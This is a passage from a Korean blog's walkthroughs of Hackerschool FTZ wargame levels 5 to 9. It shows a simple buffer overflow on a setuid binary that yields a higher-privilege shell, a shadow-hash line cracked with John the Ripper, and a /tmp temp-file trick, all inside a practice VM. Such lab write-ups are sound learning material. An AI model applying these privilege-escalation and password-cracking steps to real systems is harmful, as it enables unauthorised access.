  char buf[10];                                 // char형 변수 buf 라는 이름에 10바이트 크기 배열 선언


  printf("It can be overflow : ");           // it can be Overflow : 라는 문구를 출력

  fgets(buf,40,stdin);                         // fget([char *str],[int size],[FILE *Stream]) 형식으로

     // 40이하의 바이트를 입력 받아서, buf 변수에 집어넣는다.


  if ( strncmp(buf2, "go", 2) == 0 )       // strncmp([char *str],[char *str2],[byte])

   {                                                 // buf2 의 2바이트와 go 와 비교 한 뒤 같다면

        printf("Good Skill!\n");             // Good Skill 문구를 출력

        setreuid( 3010, 3010 );              // 현재 사용자에게 Level10의 권한을 지급  

        system("/bin/bash");               // /bin/bash 로 쉘 해준다.

   }


}


이를 이용하여 level10의 권한을 얻어라.


그렇다면 이제, cd 명령어로 /usr/bin 으로 이동하여 bof 를 실행해보자.


[level9@ftz level9]$ cd /usr/bin

[level9@ftz bin]$ ./bof

It can be overflow : 213213

[level9@ftz bin]$


실행해보니, it can be overflow 문구가 출력이 되었고, 아무거나 입력해도 안된다.


그렇다면 머리속에 칸을 그려놓고 생각해보자.


 buf / 

buf2 / 

buf 에 10개의 숫자를 입력시켜주었다.

0 1 2 3 4 5 6 7 8 9 의 10개를 1개의 방마다 집어넣어주었고, buf 가 꽉차면 다음 buf2 로 들어간다.


buf2에 또다시 0 1 2 3 4 5 6 7 8 9 를 넣어주면, 20개의 방이 꽉차게 된다.

그러나 아까 소스코드상에서 if문에 대해서 주석처리한 부분을 읽어서 이해보면,


buf2의 2바이트에 "go" 라는 문자가 존재하면 if문을 실행시켜주는 것이였다.


그렇다면 buf 에 아래와 같이 넣어주자.


[level9@ftz bin]$ ./bof

It can be overflow : 01234567890123456789

[level9@ftz bin]$ ./bof

It can be overflow : 0123456789012345go


첫번째 01234567890123456789 를 입력시켰을 때는, if문이 실행이 되지 않았다.


그러나,

두번째 0123456789012345go 를 입력시키자,


[level9@ftz bin]$ ./bof

It can be overflow : 0123456789012345go

Good Skill!

[level10@ftz bin]$


if 문 작동 소스코드를 보면 Good Skill! 를 출력시키고, 레벨10의 권한으로 /bin/bash 폴더까지 이동했다.

그러면 이제 my-pass 로 다음 단계의 비밀번호를 얻자.


[level10@ftz bin]$ my-pass

Level10 Password is ~~~~~~~


성공,


그러나 원래는 이 BOF 문제는 gdb 명령어로 이용하여 스텍관련 구조를 보면서 문제를 풀어야하는 것인데,

다른 사람들이 적은 내용을 검색해보았더니 대부분 그렇게 하였다.


그런데, 어째서인지 /bof 파일 권한을 root 권한으로 봐보니

[root@ftz bin]# ls -l bof

-rws--x---    1 level10  level9      12111 Sep 30 02:00 bof


레벨 10은 rws 권한을 지니고있는데, 레벨 9는 무조건 x 실행만 가능하다.

그렇다면 gdb 도 못하는 상황이여서, 잉여같이 문제를 풀었다.


root권한으로 파일의 권한을 바꿔주거나, 그런다면 gdb로 문제를 해결하면 BOF 해결 능력도 상승할 것 같다.



'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level11 풀이  (0) 2013.10.20
hackerschool FTZ : level10 풀이  (1) 2013.10.03
hackerschool FTZ : level9 풀이  (0) 2013.10.03
hackerschool FTZ : level8 풀이  (0) 2013.10.02
hackerschool FTZ : level7 풀이  (0) 2013.10.02
hackerschool FTZ : level6 풀이  (0) 2013.10.01

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.



level8 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level8

password :


level7에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.

그리고 여태까지 늘 힌트를 찾았던 ls -al 명령어를 실행


[level8@ftz level8]$ ls -al

total 80

drwxr-xr-x    4 root     level8       4096 Jan 14  2010 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r-----    1 root     level8        109 Jan 14  2010 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level8       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level8       4096 Jan 14  2009 tmp

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


역시나 hint 파일은 존재한다. 이제 cat 명령어로 hint 를 들여다보자.

[level8@ftz level8]$ cat hint

level9의 shadow 파일이 서버 어딘가에 숨어있다.
그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.

힌트는 위와 같이 나왔다.

Level9의 Shadow 파일이 서버 어딘가에 숨어있다고 한다.

그러나 그 파일의 이름은 알려주지 않고, 알려주는 것이라곤 용량이 2700이라는 뜻 뿐이다.


그렇다면 find 명령어로 파일의 용량(size)를 찾을 수 있는게 존재한다.


[level8@ftz level8]$ find / -size 2700c 2>/dev/null

/var/www/manual/ssl/ssl_intro_fig2.gif

/etc/rc.d/found.txt

/usr/share/man/man3/IO::Pipe.3pm.gz

/usr/share/man/man3/URI::data.3pm.gz

/usr/share/a2ps/encoding/ascii.edf

/usr/share/xmodmap/xmodmap.uk_x86


find ?
: find [찾고자하는 디렉토리] [옵션]
: find [찾고자하는 디텍토리] -size [찾을용량][단위]

[단위]
: b [512byte(블록)]
: c [byte]
: k [kbyte]
: w [2byte]
: b


자, find 명령어를 알게되었다면,

이제 검색을 해보자.


[level8@ftz level8]$ find / -size 2700c 2>/dev/null

/var/www/manual/ssl/ssl_intro_fig2.gif

/etc/rc.d/found.txt

/usr/share/man/man3/IO::Pipe.3pm.gz

/usr/share/man/man3/URI::data.3pm.gz

/usr/share/a2ps/encoding/ascii.edf

/usr/share/xmodmap/xmodmap.uk_x86


find / -size 2700c

= find 명령어로 / 디텍토리에서 사이즈 2700 바이트를 검색한다.

검색을 해보니,


위와 같은 여러개 파일들이 나왔다.

.edf 파일도 존재하고 .gif 이미지 파일도 그리고 gzip 으로 압축된 파일들도 존재한다.


들여다보기 쉬운 것은 txt 파일인, found.txt 파일이다. cd 명령어로 이동 한 후에, cat 명령어로 봐보자.


[level8@ftz rc.d]$ ls -al

total 76

drwxr-xr-x   10 root     root         4096 Sep 30 02:00 .

drwxr-xr-x   56 root     root         4096 Sep 30 02:44 ..

-r--r-----    1 root     level8       2700 Sep 30 02:00 found.txt

drwxr-xr-x    2 root     root         4096 Sep 30 10:42 init.d

-rwxr-xr-x    1 root     root         2338 Feb 19  2003 rc

drwxr-xr-x    2 root     root         4096 Sep 30 10:50 rc0.d

drwxr-xr-x    2 root     root         4096 Sep 30 10:50 rc1.d

drwxr-xr-x    2 root     root         4096 Sep 30 10:50 rc2.d

drwxr-xr-x    2 root     root         4096 Sep 30 01:53 rc3.d

drwxr-xr-x    2 root     root         4096 Sep 30 10:50 rc4.d

drwxr-xr-x    2 root     root         4096 Sep 30 01:53 rc5.d

drwxr-xr-x    2 root     root         4096 Sep 30 10:50 rc6.d

-rwxr-xr-x    1 root     root          545 Sep 30 02:00 rc.local

-rwxr-xr-x    1 root     root        23299 Feb 25  2003 rc.sysinit

[level8@ftz rc.d]$


found.txt 파일이 존재한다. :)

이제 cat 명령어로 found 파일을 들여다보자.


[level8@ftz rc.d]$ cat found.txt

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


[level8@ftz rc.d]$


처음에 이 found 텍스트를 열어보고 멘붕이 나에게왔다.

그런데 뭔가 $ 구분으로 자르고 : : : : : 이런식으로 구분이 있지않는가,


무슨 암호화로 되어있는 것 같아서, shadow 파일에 관해서 찾아보았더니 password 부분은 John the ripper 로 복호화 할 수 있다고 한다.


john the ripper(존 더 리퍼) ?


John the Ripper는 Solar Designer가 개발한 Unix계열 password crack tool이다. 


UNIX계열 크래킹도구, http://www.openwall.com/john/ 에서 개발버전, 안정버전, linux용, windows용 등을 다운 받을 수 있다.


사용자 명과 비슷한 암호 검색,단어의 조합,숫자 조합,알파벳+숫자의 조합,알파벳+숫자+특수문자 등등  

이런 식으로 시도를 해서 패스워드를 크랙한다.


파일 관련 다운로드 [ http://www.openwall.com/john/ ]


리눅스용으로 다운 받아서 넣거나, 윈도우상에서 복호화를 할 수 있는 파일을 다운 받을 수 있다.


존더리퍼를 이용하려면 리눅스의 /etc/shadow와 같은 패스워드 파일이 있어야 한다. 

/etc/shadow 파일의 일부를 보면 다음과 같이 생겼음을 알 수 있다.


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

(해커스쿨 FTZ 레벨8에서 보여주는 레벨9의 패스워드 정보가 있는 부분)


콜론(:)으로 각 필드를 구분해 주며 색칠된 부분이 레벨9의 패스워드가 암호화된 부분이다. 

바로 이부분을 존더리퍼가 해독하여 패스워드를 보여주는 것.


리눅스에서 얻어낸 shadow파일을 윈도우즈로 복사해 존더리퍼의 압축을 해제한 폴더 안의 run폴더에 넣는다.


실행 방법 :

[ 각자의 디텍토리 위치가 다를 수 있으니, 참고 바랍니다. ]


현재 경로, C:\Users\admin\Downloads\john179 

..\run 폴더로 이동 한 후, TXT 파일을 만들어서 그 안에,

putty에서 나온 저 값 전체를 드래그 해서 넣은 후 저장한다.


cmd를 실행시켜서 cd 명령어로 run 폴더가 있는 곳까지 이동한 후,


john.exe -show [텍스트파일].txt 를 입력하면 현재 켜져있는 콘솔창에서 복호화 된 값이 출력된다.





'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level10 풀이  (1) 2013.10.03
hackerschool FTZ : level9 풀이  (0) 2013.10.03
hackerschool FTZ : level8 풀이  (0) 2013.10.02
hackerschool FTZ : level7 풀이  (0) 2013.10.02
hackerschool FTZ : level6 풀이  (0) 2013.10.01
hackerschool FTZ : level5 풀이  (1) 2013.10.01

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.



level7 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level7

password :


level6에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.

그리고 여태까지 늘 힌트를 찾았던 ls -al 명령어를 실행


[level7@ftz level7]$ ls -al

total 80

drwxr-xr-x    4 root     level7       4096 Mar 19  2003 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root          185 Nov 23  2000 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level7       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level7       4096 Jan  9  2009 tmp

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


역시나 hint 파일은 존재한다. 이제 cat 명령어로 hint 를 들여다보자.

[level7@ftz level7]$ cat hint

/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

1. 패스워드는 가까운곳에..
2. 상상력을 총동원하라.
3. 2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 공학용으로 바꾸어라.

힌트를 봐보니, 패스워드를 맞추라는 의미 같다.


1. 패스워드는 가까운 곳에..

: 이건 무슨 의미를 하는지는 잘 모르겠습니다.


2. 상상력을 총동원하라.

: hack-me.org 에서 상상력의 무궁무진함을 느낀 뒤라, 가능합니다.


3. 2진수를 10진수로 바꿀 수 있는가?

: 뭔가 핵심적인 힌트 같습니다. 2진수에 관련된 힌트를 10진수로 바꾸면 된다는 의미일 것 같습니다.


4. 계산기 설정을 공학용으로 바꾸어라.

: 이것도 핵심적인 내용인 힌트 같습니다. 뭔가 일단 준비를 해놓고 시작.


cd 명령어로 이용하여 /bin 디텍토리로 이동하고, ./ 명령어로 level7을 실행해봅시다.

[level7@ftz level7]$ cd /bin

[level7@ftz bin]$ ./level7

Insert The Password : test1234

hello. y0upd(Pwn&Play)!?

Can't Password. Near the Password!

--_--_- --____- ---_-__ --__-_-

[level7@ftz bin]$


level7을 실행시켜보니, Insert The Password :  라고 뜹니다.

비밀번호를 입력하라는 의미지요.


그래서 저는 문자도 넣어보고 숫자도 넣어볼 겸, test1234를 입력하였습니다.

그랬더니,


hello. y0upd(Pwn&Play)!?

Can't Password. Near the Password!

--_--_- --____- ---_-__ --__-_-


이라는 문구가 나왔는데, 


해커스쿨 FTZ 로 하면 저 부분이 다르게 나올 것 입니다. 

또는,

개인이 FTZ 서버를 여신 후 하시는 것이라면 Wrong.txt 파일이 존재하지 않는다고 나옵니다.


Worng.txt 가 존재하지 않는다고 뜨시면,

root 계정으로 들어가셔서 /bin 폴더에 Wring.txt 를 cat 명령어로 만들어주셔야합니다.


이 오류를 찾던 다니던 도중, 해결책이 나와서 적었습니다.


뭔가, [ --_--_- --____- ---_-__ --__-_- ] 이 부분이 수상하지 않으시나요?

그래서 저는 2진수를 10진수로 바꿔라, 라는 힌트가 기억났습니다.


- : 1 

_ : 0


으로 잡고 문제를 풀어서, 만약 틀리다고 나온다면 1 하고 0 을 순서를 바꿔준 후에 풀어보려고 저렇게 설정 해두었습니다.

[ --_--_- --____- ---_-__ --__-_- ] 이 내용을 보면 중간중간에 Space 키가 입력되있는 것을 아실 수 있습니다.


나눠보면, 아래의 숫자대로 2진수가 나오더라구요.


--_--_- : 1101101 (109)

--____- : 1100001 (97)

---_-__ : 1110100 (116)

--__-_- : 1100101 (101)


이제 이 숫자들을 2진수에서 10진수로 바꿔주면, [ 109 97 116 101 ] 출력이 됩니다.


저 숫자 뭔가 많이 보셨지 않나요? 프로그래밍을 하다가 시스템분야를 공부해서 그런지, 저렇게 마디마디 끊어진 숫자는

뭔가, 아스키 코드값이 생각이 나더라구요!


저는 그래서 비주얼베이직으로 아스키코드 변환 소스를 작성한 뒤에, 실행해보았습니다.

Private sub Form_Load()


Dim Asc as String

Dim Result as String

Dim Msg as String


 Asc = "109/97/116/101"


 for i = 0 to 3

Result = Split(Asc, "/")(i)

Msg = Msg + Char(Result)

Next i


 Msgbox Msg


End Sub


아스키코드로 변환 결과는 mate 라는 단어였고, 

./ 명령어로 level7을 다시 실행시키고, 비밀번호 입력하라는 곳에 mate 라는 단어를 입력했습니다.


[level7@ftz bin]$ ./level7

Insert The Password : mate


Congratulation! next password is ~~~~~~~~~~~


[level7@ftz bin]$


정답이네요. Success.

정말 문제 푸는게 이렇게 재미가 있을 줄은..ㅎㅎ 복습도 할겸 다시 푸니 정말 재미있는 것 같습니다.


다음 문제로 넘어갑시다.

'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level9 풀이  (0) 2013.10.03
hackerschool FTZ : level8 풀이  (0) 2013.10.02
hackerschool FTZ : level7 풀이  (0) 2013.10.02
hackerschool FTZ : level6 풀이  (0) 2013.10.01
hackerschool FTZ : level5 풀이  (1) 2013.10.01
hackerschool FTZ : level4 풀이  (1) 2013.10.01

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.




level6 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level6

password :


level5에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.


level6을 로그인 하자마자, 힌트가 출력된다.


hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.



잉? 이런 문제는 처음이라는..?

그런 느낌이 나에게 다가왔지만, 저기 상태에서 아무 키나 누르면


  #####################################

  ##                                                         ##

  ##         텔넷 접속 서비스                       ##

  ##                                                         ##

  ##                                                         ##

  ##     1. 하이텔     2. 나우누리                  ##

  ##     3. 천리안                                       ##

  ##                                                         ##

  #####################################


접속하고 싶은 bbs를 선택하세요 :



위와 같이 접속할 bbs 를 선택하라고 하는데, 아주 옛날 텔넷 접속서비스가 제공된다...

그래서 그냥 1~3번 중에 입력해보았는데,


putty 자체가 종료되는 현상을 겪게 되었다.


다시 켜서 로그인 후에, 아래 상태일 때


hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.


[level6@ftz level6]$


Ctrl (컨트롤) + C (씨) 를 누르니, 위와 같은 명령어 입력할 수 있는 구문이 나왔다.

그래서 아무 생각없이, 늘 했던 현재 디텍토리의 파일들을 보려고 ls -al 를 입력.


[level6@ftz level6]$ ls -al

total 104

drwxr-xr-x    4 root     level6       4096 Mar  5  2003 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           12 Nov 24  2000 .bash_login

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          163 Mar  5  2003 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root           72 Nov 23  2000 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r-----    1 root     level6         36 Mar 24  2000 password

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level6       4096 May 16  2005 public_html

drwxrwxr-x    2 root     level6       4096 Jan 14  2009 tmp

-rwxr-x---    1 root     level6      14910 Mar  5  2003 tn

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

[level6@ftz level6]$


hint 파일은 level6에도 존재했다. 

그리고 나머지 디텍토리 내용들을 확인 하던 도중에, password 라는 파일이 존재했다.

이럴수가이럴수가.


그래서 cat 명령어로 password 를 들여다보았다.


[level6@ftz level6]$ cat password

Level7 password is ~~~~~~~~

[level6@ftz level6]$


그랬더니, level7 으로 갈 수 있는 비밀번호가 그냥 똭 나왔다.

뭔가 허탈하고 어이가 없었던 것 같다.


예전엔 나온누리, 천리안, 하누리 이런 텔넷서비스가 존재해서 만들어두었던 문제였던걸까?

뭔가, 정말 허탈감이 심했다.


뭐 결론은 level7의 비밀번호를 얻었으니 다음문제를 풀러갑시다.


'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level8 풀이  (0) 2013.10.02
hackerschool FTZ : level7 풀이  (0) 2013.10.02
hackerschool FTZ : level6 풀이  (0) 2013.10.01
hackerschool FTZ : level5 풀이  (1) 2013.10.01
hackerschool FTZ : level4 풀이  (1) 2013.10.01
hackerschool FTZ : level3 풀이  (0) 2013.10.01

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.




level5 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level5

password :


level4에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.


그러면 저번과 같이 ls -al 로 level5의 디텍토리에는 무슨 파일들이 존재하는지 확인해보자.


[level5@ftz level5]$ ls -al

total 80

drwxr-xr-x    4 root     level5       4096 May  7  2002 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root          129 Mar 23  2000 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html

drwxrwx---    2 root     level5       4096 Jan 16  2009 tmp

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


역시나, level5도 hint 파일이 존재합니다. 

cat 명령어로 hint 파일을 들여다 봅시다.


[level5@ftz level5]$ cat hint


/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.


이를 이용하여 level6의 권한을 얻어라.


문제 힌트파악을 하고 넘어갑시다.


1. /uer/bin/level5 라는 프로그램이 있다.
2. level5 를 실행시키면 /tmp 디텍토리에 level5.tmp 라는 임시파일을 생성한다.
3. 이를 이용하여 level6의 권한을 취득.

이렇게 순서가 될 것 같네요. 그럼 이제 풀어봅시다.

[level5@ftz level5]$ cd /usr/bin
[level5@ftz bin]$ ls level5
level5
[level5@ftz bin]$

usr/bin 폴더로 가서 ls 명령어로 level5 파일을 찾아보니, level5 파일이 존재하네요!

level5가 실행되면 /tmp 디텍토리에 level5.tmp 임시 파일을 만든다고 하니, 어디 한번 실행해보죠.


[level5@ftz bin]$ ./level5

[level5@ftz bin]$ cd /tmp

[level5@ftz tmp]$ ls -al

total 20

drwxrwxrwt    4 root     root         4096 Sep 30 13:39 .

drwxr-xr-x   19 root     root         4096 Sep 30 02:44 ..

drwxrwxrwt    2 xfs      xfs          4096 Sep 30 02:44 .font-unix

drwxr-xr-x    2 root     root         4096 Sep 30 10:38 .mozilla

-rw-------    1 root     root         1024 Sep 30 10:32 .rnd

[level5@ftz tmp]$


오잉? level5를 실행시키고 tmp 폴더의 내용을 보니, level5.tmp 파일이 존재하지 않네요.

임시파일이라서 잠시 생겼다가 지워지는 것 같네요.


그렇다면, /tmp 부분에 level5.tmp 파일을 생성해두고 level5를 실행시키면 tmp 파일에 덤프가 되지않을까요?

저는 그렇게 생각해서 문제를 풀었습니다.


level5.tmp 파일을 먼저 생성해둔다음, level5를 실행시키면 잠깐 나타나는 level5.tmp 가 만들어놓은 level5.tmp에 덤프가 될 것이에요.


이제 실천을 해보죠.


[level5@ftz tmp]$ cat > level5.tmp

y0upd{;;} SystemHacking Pwn&Play!~~~^^.

[level5@ftz tmp]$ ls -al

total 24

drwxrwxrwt    4 root     root         4096 Sep 30 13:45 .

drwxr-xr-x   19 root     root         4096 Sep 30 02:44 ..

drwxrwxrwt    2 xfs      xfs          4096 Sep 30 02:44 .font-unix

-rw-rw-r--    1 level5   level5         40 Sep 30 13:46 level5.tmp

drwxr-xr-x    2 root     root         4096 Sep 30 10:38 .mozilla

-rw-------    1 root     root         1024 Sep 30 10:32 .rnd

[level5@ftz tmp]$


cat > 명령어로 level5.tmp 파일을 생성시키고,

그 안에 내용을 저희 팀 이름과 제 닉네임을 적어주었습니다.

그리고,

ls -al 명령어로 /tmp 디텍토리의 파일내용을 보았더니, level5.tmp 가 존재하는군요!


그렇다면, cat 으로 한번 level5.tmp 를 들여다보겠습니다.


[level5@ftz tmp]$ cat level5.tmp

y0upd{;;} SystemHacking Pwn&Play!~~~^^.

[level5@ftz tmp]$


현재는 level5 를 실행시킨 상태가 아닌, 제가 임의로 만들어둔 level5.tmp 파일이네요.

이제 level5를 실행시키러 가봅시다.


[level5@ftz bin]$ cd /usr/bin

[level5@ftz bin]$ ls level5

level5

[level5@ftz bin]$ ./level5

[level5@ftz bin]$


/usr/bin 디텍토리로 이동해서 level5라는 파일을 실행시켰습니다.

/tmp 디텍토리로 이동해서 level5.tmp 가 존재하는지, 그리고 그 내용에 덤프가 되었는지 확인해봅닏.


[level5@ftz bin]$ cd /tmp

[level5@ftz tmp]$ ls -al

total 24

drwxrwxrwt    4 root     root         4096 Sep 30 13:45 .

drwxr-xr-x   19 root     root         4096 Sep 30 02:44 ..

drwxrwxrwt    2 xfs      xfs          4096 Sep 30 02:44 .font-unix

-rw-rw-r--    1 level5   level5         31 Sep 30 13:49 level5.tmp

drwxr-xr-x    2 root     root         4096 Sep 30 10:38 .mozilla

-rw-------    1 root     root         1024 Sep 30 10:32 .rnd


/tmp 디텍토리에 와서 ls -al 명령어를 써보니!

